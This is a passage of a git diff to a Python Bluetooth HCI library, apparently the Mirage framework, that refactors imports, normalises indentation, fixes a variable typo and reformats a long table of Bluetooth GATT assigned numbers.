HCI_Cmd_Reject_Connection_Request, \ + HCI_Cmd_Remote_Name_Request, \ + HCI_Cmd_Write_Extended_Inquiry_Response, \ + HCI_Cmd_Write_Inquiry_Mode, \ + HCI_Cmd_Write_Local_Name, \ + HCI_Cmd_Write_Scan_Enable, \ + HCI_Evt_Connection_Complete, \ + HCI_Evt_Connection_Request, \ + HCI_Evt_Extended_Inquiry_Result, \ + HCI_Evt_Inquiry_Complete, \ + HCI_Evt_Inquiry_Result, \ + HCI_Evt_Inquiry_Result_With_RSSI, \ + HCI_Evt_Max_Slot_Change, \ + HCI_Evt_Remote_Name_Request_Complete +from mirage.libs.bt_utils.scapy_vendor_specific import COMPATIBLE_VENDORS, \ + HCI_Cmd_BCM_Write_BD_Address, \ + HCI_Cmd_CSR_Reset, \ + HCI_Cmd_CSR_Write_BD_Address, \ + HCI_Cmd_Ericsson_Write_BD_Address, \ + HCI_Cmd_Read_Local_Version_Information, \ + HCI_Cmd_ST_Write_BD_Address, \ + HCI_Cmd_TI_Write_BD_Address, \ + HCI_Cmd_Zeevo_Write_BD_Address +from mirage.libs.wireless import Emitter, Receiver +from mirage.libs.wireless_utils.device import Device + + +class BtHCIDevice(Device): ''' This device allows to communicate with an HCI Device in order to use Bluetooth protocol. The corresponding interfaces are : ``hciX`` (e.g. "hci0") @@ -481,7 +546,7 @@ def setAddress(self,address): 18 : HCI_Cmd_Zeevo_Write_BD_Address, 48 : HCI_Cmd_ST_Write_BD_Address, 57 : HCI_Cmd_Ericsson_Write_BD_Address - } + } self._internalCommand(modificationPackets[manufacturer](addr=address)) self._internalCommand(HCI_Cmd_Reset()) io.success("BD Address successfully modified !") @@ -490,13 +555,13 @@ def setAddress(self,address): return success -class BluetoothEmitter(wireless.Emitter): +class BluetoothEmitter(Emitter): ''' This class is an Emitter for the Bluetooth protocol ("bt"). It can instantiates the following devices : - * HCI Device (``mirage.libs.bt.BtHCIDevice``) + * HCI Device (``mirage.libs.bt.BtHCIDevice``) ''' def __init__(self,interface="hci0"): @@ -548,13 +613,13 @@ def convert(self,p): return p.packet -class BluetoothReceiver(wireless.Receiver): +class BluetoothReceiver(Receiver): ''' This class is a Receiver for the Bluetooth protocol ("bt"). It can instantiates the following devices : - * HCI Device (``mirage.libs.bt.BtHCIDevice``) + * HCI Device (``mirage.libs.bt.BtHCIDevice``) ''' def __init__(self, interface="hci0"): @@ -599,7 +664,7 @@ def convert(self,packet): elif L2CAP_ConfReq in packet: return BluetoothL2CAPConfigurationRequest(dcid=packet.dcid,flags=packet.flags, connectionHandle=packet.handle) elif L2CAP_ConfResp in packet: - return BluetoothL2CAPConfigurationResponse(scid=packet.scid,flags=packets.flags,result=packet.result, connectionHandle=packet.handle) + return BluetoothL2CAPConfigurationResponse(scid=packet.scid,flags=packet.flags,result=packet.result, connectionHandle=packet.handle) return new diff --git a/mirage/libs/bt_utils/assigned_numbers.py b/mirage/libs/bt_utils/assigned_numbers.py index f18edc6..0a5f65e 100644 --- a/mirage/libs/bt_utils/assigned_numbers.py +++ b/mirage/libs/bt_utils/assigned_numbers.py @@ -69,11 +69,11 @@ def getPairingMethod(cls,secureConnections=False,initiatorInputOutputCapability= .. note:: The possible values for InputOutputCapability parameters are : - * "DisplayOnly" - * "DisplayYesNo" - * "KeyboardOnly" - * "NoInputNoOutput" - * "KeyboardDisplay" + * "DisplayOnly" + * "DisplayYesNo" + * "KeyboardOnly" + * "NoInputNoOutput" + * "KeyboardDisplay" :Example: @@ -93,8 +93,8 @@ def getPairingMethod(cls,secureConnections=False,initiatorInputOutputCapability= return methods[1] if secureConnections else methods[0] def _int2bin(s): - b = str(s) if s<=1 else bin(s>>1)[2:] + str(s&1) - return (8-len(b))*"0"+b + b = str(s) if s<=1 else bin(s>>1)[2:] + str(s&1) + return (8-len(b))*"0"+b class AssignedNumbers: ''' @@ -330,2713 +330,2713 @@ def getNumberByPermissions(cls,permissions): ADV_FLAGS = { "limited_disc_mode":"LE Limited Discoverable Mode" , - "general_disc_mode":"LE General Discoverable Mode" , - "br_edr_not_supported":"BR/EDR not supported" , - "simul_le_br_edr_ctrl":"Simultaneous LE and BR/EDR, Controller", + "general_disc_mode":"LE General Discoverable Mode" , + "br_edr_not_supported":"BR/EDR not supported" , + "simul_le_br_edr_ctrl":"Simultaneous LE and BR/EDR, Controller", "simul_le_br_edr_host":"Simultaneous LE and BR/EDR, Host", - "reserved":"Reserved" + "reserved":"Reserved" } PERMISSIONS = [ - "Extended Properties", + "Extended Properties", "Authenticated Signed Writes", - "Indicate", - "Notify", - "Write", - "Write Without Response", + "Indicate", + "Notify", + "Write", + "Write Without Response", "Read", - "Broadcast" - ] + "Broadcast" + ] ASSIGNED_NUMBERS = { - "6144": { - "name": "Generic Access", - "uniform_type_identifier": "org.bluetooth.service.generic_access" - }, - "6145": { - "name": "Generic Attribute", - "uniform_type_identifier": "org.bluetooth.service.generic_attribute" - }, - "6146": { - "name": "Immediate Alert", - "uniform_type_identifier": "org.bluetooth.service.immediate_alert" - }, - "6147": { - "name": "Link Loss", - "uniform_type_identifier": "org.bluetooth.service.link_loss" - }, - "6148": { - "name": "Tx Power", - "uniform_type_identifier": "org.bluetooth.service.tx_power" - }, - "6149": { - "name": "Current Time Service", - "uniform_type_identifier": "org.bluetooth.service.current_time" - }, - "6150": { - "name": "Reference Time Update Service", - "uniform_type_identifier": "org.bluetooth.service.reference_time_update" - }, - "6151": { - "name": "Next DST Change Service", - "uniform_type_identifier": "org.bluetooth.service.next_dst_change" - }, - "6152": { - "name": "Glucose", - "uniform_type_identifier": "org.bluetooth.service.glucose" - }, - "6153": { - "name": "Health Thermometer", - "uniform_type_identifier": "org.bluetooth.service.health_thermometer" - }, - "6154": { - "name": "Device Information", - "uniform_type_identifier": "org.bluetooth.service.device_information" - }, - "6157": { - "name": "Heart Rate", - "uniform_type_identifier": "org.bluetooth.service.heart_rate" - }, - "6158": { - "name": "Phone Alert Status Service", - "uniform_type_identifier": "org.bluetooth.service.phone_alert_status" - }, - "6159": { - "name": "Battery Service", - "uniform_type_identifier": "org.bluetooth.service.battery_service" - }, - "6160": { - "name": "Blood Pressure", - "uniform_type_identifier": "org.bluetooth.service.blood_pressure" - }, - "6161": { - "name": "Alert Notification Service", - "uniform_type_identifier": "org.bluetooth.service.alert_notification" - }, - "6162": { - "name": "Human Interface Device", - "uniform_type_identifier": "org.bluetooth.service.human_interface_device" - }, - "6163": { - "name": "Scan Parameters", - "uniform_type_identifier": "org.bluetooth.service.scan_parameters" - }, - "6164": { - "name": "Running Speed and Cadence", - "uniform_type_identifier": "org.bluetooth.service.running_speed_and_cadence" - }, - "6165": { - "name": "Automation IO", - "uniform_type_identifier": "org.bluetooth.service.automation_io" - }, - "6166": { - "name": "Cycling Speed and Cadence", - "uniform_type_identifier": "org.bluetooth.service.cycling_speed_and_cadence" - }, - "6168": { - "name": "Cycling Power", - "uniform_type_identifier": "org.bluetooth.service.cycling_power" - }, - "6169": { - "name": "Location and Navigation", - "uniform_type_identifier": "org.bluetooth.service.location_and_navigation" - }, - "6170": { - "name": "Environmental Sensing", - "uniform_type_identifier": "org.bluetooth.service.environmental_sensing" - }, - "6171": { - "name": "Body Composition", - "uniform_type_identifier": "org.bluetooth.service.body_composition" - }, - "6172": { - "name": "User Data", - "uniform_type_identifier": "org.bluetooth.service.user_data" - }, - "6173": { - "name": "Weight Scale", - "uniform_type_identifier": "org.bluetooth.service.weight_scale" - }, - "6174": { - "name": "Bond Management Service", - "uniform_type_identifier": "org.bluetooth.service.bond_management" - }, - "6175": { - "name": "Continuous Glucose Monitoring", - "uniform_type_identifier": "org.bluetooth.service.continuous_glucose_monitoring" - }, - "6176": { - "name": "Internet Protocol Support Service", - "uniform_type_identifier": "org.bluetooth.service.internet_protocol_support" - }, - "6177": { - "name": "Indoor Positioning", - "uniform_type_identifier": "org.bluetooth.service.indoor_positioning" - }, - "6178": { - "name": "Pulse Oximeter Service", - "uniform_type_identifier": "org.bluetooth.service.pulse_oximeter" - }, - "6179": { - "name": "HTTP Proxy", - "uniform_type_identifier": "org.bluetooth.service.http_proxy" - }, - "6180": { - "name": "Transport Discovery", - "uniform_type_identifier": "org.bluetooth.service.transport_discovery" - }, - "6181": { - "name": "Object Transfer Service", - "uniform_type_identifier": "org.bluetooth.service.object_transfer" - }, - "6182": { - "name": "Fitness Machine", - "uniform_type_identifier": "org.bluetooth.service.fitness_machine" - }, - "6183": { - "name": "Mesh Provisioning Service", - "uniform_type_identifier": "org.bluetooth.service.mesh_provisioning" - }, - "6184": { - "name": "Mesh Proxy Service", - "uniform_type_identifier": "org.bluetooth.service.mesh_proxy" - }, - "6185": { - "name": "Reconnection Configuration", - "uniform_type_identifier": "org.bluetooth.service.reconnection_configuration" - }, - "10240": { - "name": "Primary Service", - "uniform_type_identifier": "org.bluetooth.attribute.gatt.primary_service_declaration" - }, - "10241": { - "name": "Secondary Service", - "uniform_type_identifier": "org.bluetooth.attribute.gatt.secondary_service_declaration" - }, - "10242": { - "name": "Include", - "uniform_type_identifier": "org.bluetooth.attribute.gatt.include_declaration" - }, - "10243": { - "name": "Characteristic Declaration", - "uniform_type_identifier": "org.bluetooth.attribute.gatt.characteristic_declaration" - }, - "10496": { - "name": "Characteristic Extended Properties", - "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_extended_properties" - }, - "10497": { - "name": "Characteristic User Description", - "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_user_description" - }, - "10498": { - "name": "Client Characteristic Configuration", - "uniform_type_identifier": "org.bluetooth.descriptor.gatt.client_characteristic_configuration" - }, - "10499": { - "name": "Server Characteristic Configuration", - "uniform_type_identifier": "org.bluetooth.descriptor.gatt.server_characteristic_configuration" - }, - "10500": { - "name": "Characteristic Presentation Format", - "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_presentation_format" - }, - "10501": { - "name": "Characteristic Aggregate Format", - "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_aggregate_format" - }, - "10502": { - "name": "Valid Range", - "uniform_type_identifier": "org.bluetooth.descriptor.valid_range" - }, - "10503": { - "name": "External Report Reference", - "uniform_type_identifier": "org.bluetooth.descriptor.external_report_reference" - }, - "10504": { - "name": "Report Reference", - "uniform_type_identifier": "org.bluetooth.descriptor.report_reference" - }, - "10505": { - "name": "Number of Digitals", - "uniform_type_identifier": "org.bluetooth.descriptor.number_of_digitals" - }, - "10506": { - "name": "Value Trigger Setting", - "uniform_type_identifier": "org.bluetooth.descriptor.value_trigger_setting" - }, - "10507": { - "name": "Environmental Sensing Configuration", - "uniform_type_identifier": "org.bluetooth.descriptor.es_configuration" - }, - "10508": { - "name": "Environmental Sensing Measurement", - "uniform_type_identifier": "org.bluetooth.descriptor.es_measurement" - }, - "10509": { - "name": "Environmental Sensing Trigger Setting", - "uniform_type_identifier": "org.bluetooth.descriptor.es_trigger_setting" - }, - "10510": { - "name": "Time Trigger Setting", - "uniform_type_identifier": "org.bluetooth.descriptor.time_trigger_setting" - }, - "10752": { - "name": "Device Name", - "uniform_type_identifier": "org.bluetooth.characteristic.gap.device_name" - }, - "10753": { - "name": "Appearance", - "uniform_type_identifier": "org.bluetooth.characteristic.gap.appearance" - }, - "10754": { - "name": "Peripheral Privacy Flag", - "uniform_type_identifier": "org.bluetooth.characteristic.gap.peripheral_privacy_flag" - }, - "10755": { - "name": "Reconnection Address", - "uniform_type_identifier": "org.bluetooth.characteristic.gap.reconnection_address" - }, - "10756": { - "name": "Peripheral Preferred Connection Parameters", - "uniform_type_identifier": "org.bluetooth.characteristic.gap.peripheral_preferred_connection_parameters" - }, - "10757": { - "name": "Service Changed", - "uniform_type_identifier": "org.bluetooth.characteristic.gatt.service_changed" - }, - "10758": { - "name": "Alert Level", - "uniform_type_identifier": "org.bluetooth.characteristic.alert_level" - }, - "10759": { - "name": "Tx Power Level", - "uniform_type_identifier": "org.bluetooth.characteristic.tx_power_level" - }, - "10760": { - "name": "Date Time", - "uniform_type_identifier": "org.bluetooth.characteristic.date_time" - }, - "10761": { - "name": "Day of Week", - "uniform_type_identifier": "org.bluetooth.characteristic.day_of_week" - }, - "10762": { - "name": "Day Date Time", - "uniform_type_identifier": "org.bluetooth.characteristic.day_date_time" - }, - "10763": { - "name": "Exact Time 100", - "uniform_type_identifier": "org.bluetooth.characteristic.exact_time_100" - }, - "10764": { - "name": "Exact Time 256", - "uniform_type_identifier": "org.bluetooth.characteristic.exact_time_256" - }, - "10765": { - "name": "DST Offset", - "uniform_type_identifier": "org.bluetooth.characteristic.dst_offset" - }, - "10766": { - "name": "Time Zone", - "uniform_type_identifier": "org.bluetooth.characteristic.time_zone" - }, - "10767": { - "name": "Local Time Information", - "uniform_type_identifier": "org.bluetooth.characteristic.local_time_information" - }, - "10768": { - "name": "Secondary Time Zone", - "uniform_type_identifier": "org.bluetooth.characteristic.secondary_time_zone" - }, - "10769": { - "name": "Time with DST", - "uniform_type_identifier": "org.bluetooth.characteristic.time_with_dst" - }, - "10770": { - "name": "Time Accuracy", - "uniform_type_identifier": "org.bluetooth.characteristic.time_accuracy" - }, - "10771": { - "name": "Time Source", - "uniform_type_identifier": "org.bluetooth.characteristic.time_source" - }, - "10772": { - "name": "Reference Time Information", - "uniform_type_identifier": "org.bluetooth.characteristic.reference_time_information" - }, - "10773": { - "name": "Time Broadcast", - "uniform_type_identifier": "org.bluetooth.characteristic.time_broadcast" - }, - "10774": { - "name": "Time Update Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.time_update_control_point" - }, - "10775": { - "name": "Time Update State", - "uniform_type_identifier": "org.bluetooth.characteristic.time_update_state" - }, - "10776": { - "name": "Glucose Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.glucose_measurement" - }, - "10777": { - "name": "Battery Level", - "uniform_type_identifier": "org.bluetooth.characteristic.battery_level" - }, - "10778": { - "name": "Battery Power State", - "uniform_type_identifier": "org.bluetooth.characteristic.battery_power_state" - }, - "10779": { - "name": "Battery Level State", - "uniform_type_identifier": "org.bluetooth.characteristic.battery_level_state" - }, - "10780": { - "name": "Temperature Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.temperature_measurement" - }, - "10781": { - "name": "Temperature Type", - "uniform_type_identifier": "org.bluetooth.characteristic.temperature_type" - }, - "10782": { - "name": "Intermediate Temperature", - "uniform_type_identifier": "org.bluetooth.characteristic.intermediate_temperature" - }, - "10783": { - "name": "Temperature Celsius", - "uniform_type_identifier": "org.bluetooth.characteristic.temperature_celsius" - }, - "10784": { - "name": "Temperature Fahrenheit", - "uniform_type_identifier": "org.bluetooth.characteristic.temperature_fahrenheit" - }, - "10785": { - "name": "Measurement Interval", - "uniform_type_identifier": "org.bluetooth.characteristic.measurement_interval" - }, - "10786": { - "name": "Boot Keyboard Input Report", - "uniform_type_identifier": "org.bluetooth.characteristic.boot_keyboard_input_report" - }, - "10787": { - "name": "System ID", - "uniform_type_identifier": "org.bluetooth.characteristic.system_id" - }, - "10788": { - "name": "Model Number String", - "uniform_type_identifier": "org.bluetooth.characteristic.model_number_string" - }, - "10789": { - "name": "Serial Number String", - "uniform_type_identifier": "org.bluetooth.characteristic.serial_number_string" - }, - "10790": { - "name": "Firmware Revision String", - "uniform_type_identifier": "org.bluetooth.characteristic.firmware_revision_string" - }, - "10791": { - "name": "Hardware Revision String", - "uniform_type_identifier": "org.bluetooth.characteristic.hardware_revision_string" - }, - "10792": { - "name": "Software Revision String", - "uniform_type_identifier": "org.bluetooth.characteristic.software_revision_string" - }, - "10793": { - "name": "Manufacturer Name String", - "uniform_type_identifier": "org.bluetooth.characteristic.manufacturer_name_string" - }, - "10794": { - "name": "IEEE 11073-20601 Regulatory Certification Data List", - "uniform_type_identifier": "org.bluetooth.characteristic.ieee_11073-20601_regulatory_certification_data_list" - }, - "10795": { - "name": "Current Time", - "uniform_type_identifier": "org.bluetooth.characteristic.current_time" - }, - "10796": { - "name": "Magnetic Declination", - "uniform_type_identifier": "org.bluetooth.characteristic.magnetic_declination" - }, - "10799": { - "name": "Position 2D", - "uniform_type_identifier": "org.bluetooth.characteristic.position_2d" - }, - "10800": { - "name": "Position 3D", - "uniform_type_identifier": "org.bluetooth.characteristic.position_3d" - }, - "10801": { - "name": "Scan Refresh", - "uniform_type_identifier": "org.bluetooth.characteristic.scan_refresh" - }, - "10802": { - "name": "Boot Keyboard Output Report", - "uniform_type_identifier": "org.bluetooth.characteristic.boot_keyboard_output_report" - }, - "10803": { - "name": "Boot Mouse Input Report", - "uniform_type_identifier": "org.bluetooth.characteristic.boot_mouse_input_report" - }, - "10804": { - "name": "Glucose Measurement Context", - "uniform_type_identifier": "org.bluetooth.characteristic.glucose_measurement_context" - }, - "10805": { - "name": "Blood Pressure Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.blood_pressure_measurement" - }, - "10806": { - "name": "Intermediate Cuff Pressure", - "uniform_type_identifier": "org.bluetooth.characteristic.intermediate_cuff_pressure" - }, - "10807": { - "name": "Heart Rate Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.heart_rate_measurement" - }, - "10808": { - "name": "Body Sensor Location", - "uniform_type_identifier": "org.bluetooth.characteristic.body_sensor_location" - }, - "10809": { - "name": "Heart Rate Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.heart_rate_control_point" - }, - "10810": { - "name": "Removable", - "uniform_type_identifier": "org.bluetooth.characteristic.removable" - }, - "10811": { - "name": "Service Required", - "uniform_type_identifier": "org.bluetooth.characteristic.service_required" - }, - "10812": { - "name": "Scientific Temperature Celsius", - "uniform_type_identifier": "org.bluetooth.characteristic.scientific_temperature_celsius" - }, - "10813": { - "name": "String", - "uniform_type_identifier": "org.bluetooth.characteristic.string" - }, - "10814": { - "name": "Network Availability", - "uniform_type_identifier": "org.bluetooth.characteristic.network_availability" - }, - "10815": { - "name": "Alert Status", - "uniform_type_identifier": "org.bluetooth.characteristic.alert_status" - }, - "10816": { - "name": "Ringer Control point", - "uniform_type_identifier": "org.bluetooth.characteristic.ringer_control_point" - }, - "10817": { - "name": "Ringer Setting", - "uniform_type_identifier": "org.bluetooth.characteristic.ringer_setting" - }, - "10818": { - "name": "Alert Category ID Bit Mask", - "uniform_type_identifier": "org.bluetooth.characteristic.alert_category_id_bit_mask" - }, - "10819": { - "name": "Alert Category ID", - "uniform_type_identifier": "org.bluetooth.characteristic.alert_category_id" - }, - "10820": { - "name": "Alert Notification Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.alert_notification_control_point" - }, - "10821": { - "name": "Unread Alert Status", - "uniform_type_identifier": "org.bluetooth.characteristic.unread_alert_status" - }, - "10822": { - "name": "New Alert", - "uniform_type_identifier": "org.bluetooth.characteristic.new_alert" - }, - "10823": { - "name": "Supported New Alert Category", - "uniform_type_identifier": "org.bluetooth.characteristic.supported_new_alert_category" - }, - "10824": { - "name": "Supported Unread Alert Category", - "uniform_type_identifier": "org.bluetooth.characteristic.supported_unread_alert_category" - }, - "10825": { - "name": "Blood Pressure Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.blood_pressure_feature" - }, - "10826": { - "name": "HID Information", - "uniform_type_identifier": "org.bluetooth.characteristic.hid_information" - }, - "10827": { - "name": "Report Map", - "uniform_type_identifier": "org.bluetooth.characteristic.report_map" - }, - "10828": { - "name": "HID Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.hid_control_point" - }, - "10829": { - "name": "Report", - "uniform_type_identifier": "org.bluetooth.characteristic.report" - }, - "10830": { - "name": "Protocol Mode", - "uniform_type_identifier": "org.bluetooth.characteristic.protocol_mode" - }, - "10831": { - "name": "Scan Interval Window", - "uniform_type_identifier": "org.bluetooth.characteristic.scan_interval_window" - }, - "10832": { - "name": "PnP ID", - "uniform_type_identifier": "org.bluetooth.characteristic.pnp_id" - }, - "10833": { - "name": "Glucose Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.glucose_feature" - }, - "10834": { - "name": "Record Access Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.record_access_control_point" - }, - "10835": { - "name": "RSC Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.rsc_measurement" - }, - "10836": { - "name": "RSC Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.rsc_feature" - }, - "10837": { - "name": "SC Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.sc_control_point" - }, - "10838": { - "name": "Digital", - "uniform_type_identifier": "org.bluetooth.characteristic.digital" - }, - "10839": { - "name": "Digital Output", - "uniform_type_identifier": "org.bluetooth.characteristic.digital_output" - }, - "10840": { - "name": "Analog", - "uniform_type_identifier": "org.bluetooth.characteristic.analog" - }, - "10841": { - "name": "Analog Output", - "uniform_type_identifier": "org.bluetooth.characteristic.analog_output" - }, - "10842": { - "name": "Aggregate", - "uniform_type_identifier": "org.bluetooth.characteristic.aggregate" - }, - "10843": { - "name": "CSC Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.csc_measurement" - }, - "10844": { - "name": "CSC Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.csc_feature" - }, - "10845": { - "name": "Sensor Location", - "uniform_type_identifier": "org.bluetooth.characteristic.sensor_location" - }, - "10846": { - "name": "PLX Spot-Check Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.plx_spot_check_measurement" - }, - "10847": { - "name": "PLX Continuous Measurement Characteristic", - "uniform_type_identifier": "org.bluetooth.characteristic.plx_continuous_measurement" - }, - "10848": { - "name": "PLX Features", - "uniform_type_identifier": "org.bluetooth.characteristic.plx_features" - }, - "10850": { - "name": "Pulse Oximetry Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.pulse_oximetry_control_point" - }, - "10851": { - "name": "Cycling Power Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_measurement" - }, - "10852": { - "name": "Cycling Power Vector", - "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_vector" - }, - "10853": { - "name": "Cycling Power Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_feature" - }, - "10854": { - "name": "Cycling Power Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_control_point" - }, - "10855": { - "name": "Location and Speed Characteristic", - "uniform_type_identifier": "org.bluetooth.characteristic.location_and_speed" - }, - "10856": { - "name": "Navigation", - "uniform_type_identifier": "org.bluetooth.characteristic.navigation" - }, - "10857": { - "name": "Position Quality", - "uniform_type_identifier": "org.bluetooth.characteristic.position_quality" - }, - "10858": { - "name": "LN Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.ln_feature" - }, - "10859": { - "name": "LN Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.ln_control_point" - }, - "10860": { - "name": "Elevation", - "uniform_type_identifier": "org.bluetooth.characteristic.elevation" - }, - "10861": { - "name": "Pressure", - "uniform_type_identifier": "org.bluetooth.characteristic.pressure" - }, - "10862": { - "name": "Temperature", - "uniform_type_identifier": "org.bluetooth.characteristic.temperature" - }, - "10863": { - "name": "Humidity", - "uniform_type_identifier": "org.bluetooth.characteristic.humidity" - }, - "10864": { - "name": "True Wind Speed", - "uniform_type_identifier": "org.bluetooth.characteristic.true_wind_speed" - }, - "10865": { - "name": "True Wind Direction", - "uniform_type_identifier": "org.bluetooth.characteristic.true_wind_direction" - }, - "10866": { - "name": "Apparent Wind Speed", - "uniform_type_identifier": "org.bluetooth.characteristic.apparent_wind_speed" - }, - "10867": { - "name": "Apparent Wind Direction", - "uniform_type_identifier": "org.bluetooth.characteristic.apparent_wind_direction" - }, - "10868": { - "name": "Gust Factor", - "uniform_type_identifier": "org.bluetooth.characteristic.gust_factor" - }, - "10869": { - "name": "Pollen Concentration", - "uniform_type_identifier": "org.bluetooth.characteristic.pollen_concentration" - }, - "10870": { - "name": "UV Index", - "uniform_type_identifier": "org.bluetooth.characteristic.uv_index" - }, - "10871": { - "name": "Irradiance", - "uniform_type_identifier": "org.bluetooth.characteristic.irradiance" - }, - "10872": { - "name": "Rainfall", - "uniform_type_identifier": "org.bluetooth.characteristic.rainfall" - }, - "10873": { - "name": "Wind Chill", - "uniform_type_identifier": "org.bluetooth.characteristic.wind_chill" - }, - "10874": { - "name": "Heat Index", - "uniform_type_identifier": "org.bluetooth.characteristic.heat_index" - }, - "10875": { - "name": "Dew Point", - "uniform_type_identifier": "org.bluetooth.characteristic.dew_point" - }, - "10877": { - "name": "Descriptor Value Changed", - "uniform_type_identifier": "org.bluetooth.characteristic.descriptor_value_changed" - }, - "10878": { - "name": "Aerobic Heart Rate Lower Limit", - "uniform_type_identifier": "org.bluetooth.characteristic.aerobic_heart_rate_lower_limit" - }, - "10879": { - "name": "Aerobic Threshold", - "uniform_type_identifier": "org.bluetooth.characteristic.aerobic_threshold" - }, - "10880": { - "name": "Age", - "uniform_type_identifier": "org.bluetooth.characteristic.age" - }, - "10881": { - "name": "Anaerobic Heart Rate Lower Limit", - "uniform_type_identifier": "org.bluetooth.characteristic.anaerobic_heart_rate_lower_limit" - }, - "10882": { - "name": "Anaerobic Heart Rate Upper Limit", - "uniform_type_identifier": "org.bluetooth.characteristic.anaerobic_heart_rate_upper_limit" - }, - "10883": { - "name": "Anaerobic Threshold", - "uniform_type_identifier": "org.bluetooth.characteristic.anaerobic_threshold" - }, - "10884": { - "name": "Aerobic Heart Rate Upper Limit", - "uniform_type_identifier": "org.bluetooth.characteristic.aerobic_heart_rate_upper_limit" - }, - "10885": { - "name": "Date of Birth", - "uniform_type_identifier": "org.bluetooth.characteristic.date_of_birth" - }, - "10886": { - "name": "Date of Threshold Assessment", - "uniform_type_identifier": "org.bluetooth.characteristic.date_of_threshold_assessment" - }, - "10887": { - "name": "Email Address", - "uniform_type_identifier": "org.bluetooth.characteristic.email_address" - }, - "10888": { - "name": "Fat Burn Heart Rate Lower Limit", - "uniform_type_identifier": "org.bluetooth.characteristic.fat_burn_heart_rate_lower_limit" - }, - "10889": { - "name": "Fat Burn Heart Rate Upper Limit", - "uniform_type_identifier": "org.bluetooth.characteristic.fat_burn_heart_rate_upper_limit" - }, - "10890": { - "name": "First Name", - "uniform_type_identifier": "org.bluetooth.characteristic.first_name" - }, - "10891": { - "name": "Five Zone Heart Rate Limits", - "uniform_type_identifier": "org.bluetooth.characteristic.five_zone_heart_rate_limits" - }, - "10892": { - "name": "Gender", - "uniform_type_identifier": "org.bluetooth.characteristic.gender" - }, - "10893": { - "name": "Heart Rate Max", - "uniform_type_identifier": "org.bluetooth.characteristic.heart_rate_max" - }, - "10894": { - "name": "Height", - "uniform_type_identifier": "org.bluetooth.characteristic.height" - }, - "10895": { - "name": "Hip Circumference", - "uniform_type_identifier": "org.bluetooth.characteristic.hip_circumference" - }, - "10896": { - "name": "Last Name", - "uniform_type_identifier": "org.bluetooth.characteristic.last_name" - }, - "10897": { - "name": "Maximum Recommended Heart Rate", - "uniform_type_identifier": "org.bluetooth.characteristic.maximum_recommended_heart_rate" - }, - "10898": { - "name": "Resting Heart Rate", - "uniform_type_identifier": "org.bluetooth.characteristic.resting_heart_rate" - }, - "10899": { - "name": "Sport Type for Aerobic and Anaerobic Thresholds", - "uniform_type_identifier": "org.bluetooth.characteristic.sport_type_for_aerobic_and_anaerobic_thresholds" - }, - "10900": { - "name": "Three Zone Heart Rate Limits", - "uniform_type_identifier": "org.bluetooth.characteristic.three_zone_heart_rate_limits" - }, - "10901": { - "name": "Two Zone Heart Rate Limit", - "uniform_type_identifier": "org.bluetooth.characteristic.two_zone_heart_rate_limit" - }, - "10902": { - "name": "VO2 Max", - "uniform_type_identifier": "org.bluetooth.characteristic.vo2_max" - }, - "10903": { - "name": "Waist Circumference", - "uniform_type_identifier": "org.bluetooth.characteristic.waist_circumference" - }, - "10904": { - "name": "Weight", - "uniform_type_identifier": "org.bluetooth.characteristic.weight" - }, - "10905": { - "name": "Database Change Increment", - "uniform_type_identifier": "org.bluetooth.characteristic.database_change_increment" - }, - "10906": { - "name": "User Index", - "uniform_type_identifier": "org.bluetooth.characteristic.user_index" - }, - "10907": { - "name": "Body Composition Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.body_composition_feature" - }, - "10908": { - "name": "Body Composition Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.body_composition_measurement" - }, - "10909": { - "name": "Weight Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.weight_measurement" - }, - "10910": { - "name": "Weight Scale Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.weight_scale_feature" - }, - "10911": { - "name": "User Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.user_control_point" - }, - "10912": { - "name": "Magnetic Flux Density - 2D", - "uniform_type_identifier": "org.bluetooth.characteristic.Magnetic_flux_density_2D" - }, - "10913": { - "name": "Magnetic Flux Density - 3D", - "uniform_type_identifier": "org.bluetooth.characteristic.Magnetic_flux_density_3D" - }, - "10914": { - "name": "Language", - "uniform_type_identifier": "org.bluetooth.characteristic.language" - }, - "10915": { - "name": "Barometric Pressure Trend", - "uniform_type_identifier": "org.bluetooth.characteristic.barometric_pressure_trend" - }, - "10916": { - "name": "Bond Management Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.bond_management_control_point" - }, - "10917": { - "name": "Bond Management Features", - "uniform_type_identifier": "org.bluetooth.characteristic.bond_management_feature" - }, - "10918": { - "name": "Central Address Resolution", - "uniform_type_identifier": "org.bluetooth.characteristic.gap.central_address_resolution" - }, - "10919": { - "name": "CGM Measurement", - "uniform_type_identifier": "org.bluetooth.characteristic.cgm_measurement" - }, - "10920": { - "name": "CGM Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.cgm_feature" - }, - "10921": { - "name": "CGM Status", - "uniform_type_identifier": "org.bluetooth.characteristic.cgm_status" - }, - "10922": { - "name": "CGM 